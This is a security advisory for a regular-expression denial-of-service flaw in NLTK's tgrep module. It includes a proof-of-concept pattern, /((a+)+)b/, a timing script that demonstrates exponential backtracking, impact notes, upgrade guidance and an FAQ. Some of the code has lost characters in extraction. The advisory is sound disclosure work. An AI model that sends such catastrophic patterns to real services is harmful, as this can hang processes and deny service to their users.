CVE-2026-80206: NLTK 3.10.2 Regular Expression Denial of Service via tgrep
Summary The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.
Affected Code nltk/tgrep.py — tgrepnodeaction() (around line 320)
When a tgrep pattern contains a /regex/ node, tgrepnodeaction compiles the embedded regex literal directly with no validation:
python def tgrepnodeaction(s, l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") nodelit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( tgrepnodeliteralvalue(n) ) )(re.compile(nodelit)) # User regex compiled and executed with no timeout The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgreppositions() or tgrepcompile() controls nodelit entirely.
Proof of Concept python import nltk from nltk.tgrep import tgreppositions
Root node label is 25 'a' characters. tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") No 'b' is present — exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" 25 + " (NP (DT the)))") tgreppositions(r"/((a+)+)b/", [tree]) # Never returns
Working Poc
The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgreppositions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.
python import nltk from nltk.tgrep import tgreppositions import time
def testn(n): tree = nltk.Tree.fromstring("(" + "a" n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perfcounter() list(tgreppositions(pattern, [tree])) return time.perfcounter() - start
if name == "main": # Adjust the range if needed – these values complete quickly nvalues = [18, 20, 22, 24, 26, 28] print(f"Testing n = {nvalues}\n")
times = [] for n in nvalues: t = testn(n) times.append((n, t)) print(f"n={n:2d} done", flush=True)
print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prevn, prevt = times[i-1] currn, currt = times[i] factor = currt / prevt factors.append((currn, factor)) print(f"n={currn:2d} : factor = {factor:.2f}x (vs n={prevn})")
avg = sum(f for , f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.")
When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.
Impact In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.
Remediation This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.
Credit Tool: Kira by Offgrid Security
Other sources
NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The tgrepnodeaction function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgreppositions() or tgrepcompile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/nltkto a version that resolves this vulnerability.Fixed in 3.10.3
Event History
Frequently Asked Questions
Who is exposed to this issue?
Applications using NLTK's tgrep functionality are exposed if untrusted users can influence tgrep patterns passed through interfaces such as tgrep_positions() or tgrep_compile(). The vulnerable path applies regular expressions from /regex/ pattern nodes to tree node labels.
What does an attacker need to exploit it?
An attacker needs the ability to provide or control a tgrep pattern containing a regular expression. No authentication or user interaction is required according to the supplied vector, but crafting a pattern that causes catastrophic backtracking has high attack complexity.
Are default deployments affected?
The provided information identifies exposure only where externally controlled input reaches tgrep pattern compilation or execution. It does not establish that a default NLTK deployment exposes such an input path.
What is the impact of successful exploitation?
A malicious regular expression can cause indefinite CPU saturation in the Python process while re.search evaluates it against tree node labels. This is an availability impact; no confidentiality or integrity impact is identified.
What can be done if upgrading is not immediately possible?
Do not allow untrusted parties to supply tgrep patterns, particularly /regex/ pattern nodes, to tgrep_positions() or tgrep_compile(). Restrict pattern inputs to trusted, validated values to prevent attacker-controlled expressions from reaching re.search.